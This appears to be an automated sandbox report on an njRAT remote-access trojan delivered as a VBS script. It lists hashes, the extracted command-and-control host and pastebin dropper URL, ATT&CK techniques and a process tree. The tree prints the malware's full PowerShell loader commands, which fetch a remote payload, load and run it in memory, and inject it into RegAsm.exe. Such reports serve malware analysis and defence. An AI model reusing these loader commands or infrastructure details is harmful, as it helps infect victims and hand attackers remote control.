njrat | 3f15c83a041604541d777c6837797d4b28196f3a6926375324a2dbfb993823c0

Analysis

max time kernel
146s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
24-09-2024 04:31

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General

Target

sostener.vbs
Size

1.6MB
MD5

8476643328f5fd81e1144a3f9b340a7f
SHA1

2b07f0425c5ac7a7b8ac33f903780d740769e92f
SHA256

3f15c83a041604541d777c6837797d4b28196f3a6926375324a2dbfb993823c0
SHA512

abd50137cea3607d8535eef8cda4f20e0cfa77c533468b48c7af443bbcc13a0f60e5813c08919eeb2786f4634e7bbec8013f0fb8057424e9e4659abafd2a046b
SSDEEP

192:9PmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPI:V2GsBchF2lK

Score

10^/10

njrat nyan cat discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

michael2009nj.duckdns.org:2828

Mutex

bf4e531b630e4de6ab2

Attributes

reg_key
bf4e531b630e4de6ab2
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
6	3760	powershell.exe
7	3760	powershell.exe
15	3760	powershell.exe
18	3760	powershell.exe
22	3760	powershell.exe
28	3760	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3936	powershell.exe
3760	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
15	bitbucket.org
5	pastebin.com
7	pastebin.com
14	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3760 set thread context of 972	3760	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3936	powershell.exe
3936	powershell.exe
3760	powershell.exe
3760	powershell.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe
Token: 33	972	RegAsm.exe
Token: SeIncBasePriorityPrivilege	972	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 3936	4440	WScript.exe	82
PID 4440 wrote to memory of 3936	4440	WScript.exe	82
PID 3936 wrote to memory of 3760	3936	powershell.exe	84
PID 3936 wrote to memory of 3760	3936	powershell.exe	84
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89
PID 3760 wrote to memory of 972	3760	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bh☆HU☆YwBs☆HI☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆GM☆ZQB1☆G8☆cw☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆HU☆awBs☆Gk☆Yg☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆B1☆Gs☆b☆Bp☆GI☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆Fg☆dQBN☆E4☆dQBU☆Gg☆aQ☆v☆Hc☆YQBy☆C8☆bQBv☆GM☆LgBu☆Gk☆YgBl☆HQ☆cwBh☆H☆☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆Bj☆GU☆dQBv☆HM☆I☆☆s☆C☆☆JwBf☆F8☆XwBJ☆G4☆dgBp☆GM☆d☆B1☆HM☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆C0☆LQ☆t☆C0☆LQ☆t☆C0☆Jw☆s☆C☆☆J☆Bh☆HU☆YwBs☆HI☆L☆☆g☆Cc☆MQ☆n☆Cw☆I☆☆n☆FI☆bwBk☆GE☆Jw☆g☆Ck☆KQ☆7☆☆==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$auclr = '0';$ceuos = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $uklib = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($uklib).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('XuMNuThi/war/moc.nibetsap//:sptth' , $ceuos , '___Invictus_________________________________________-------', $auclr, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwcp55kt.oyc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/972-32-0x0000000005780000-0x0000000005D24000-memory.dmp

Filesize
5.6MB

Download
memory/972-24-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/972-31-0x0000000005070000-0x000000000510C000-memory.dmp

Filesize
624KB

Download
memory/972-33-0x00000000052C0000-0x0000000005352000-memory.dmp

Filesize
584KB

Download
memory/972-34-0x0000000005260000-0x000000000526A000-memory.dmp

Filesize
40KB

Download
memory/972-35-0x0000000002580000-0x00000000025E6000-memory.dmp

Filesize
408KB

Download
memory/3760-22-0x000001712ABA0000-0x000001712ABAA000-memory.dmp

Filesize
40KB

Download
memory/3760-23-0x000001712ABB0000-0x000001712ABBA000-memory.dmp

Filesize
40KB

Download
memory/3936-12-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/3936-11-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/3936-1-0x0000029F52070000-0x0000029F52092000-memory.dmp

Filesize
136KB

Download
memory/3936-30-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/3936-0-0x00007FFE0C493000-0x00007FFE0C495000-memory.dmp

Filesize
8KB

Download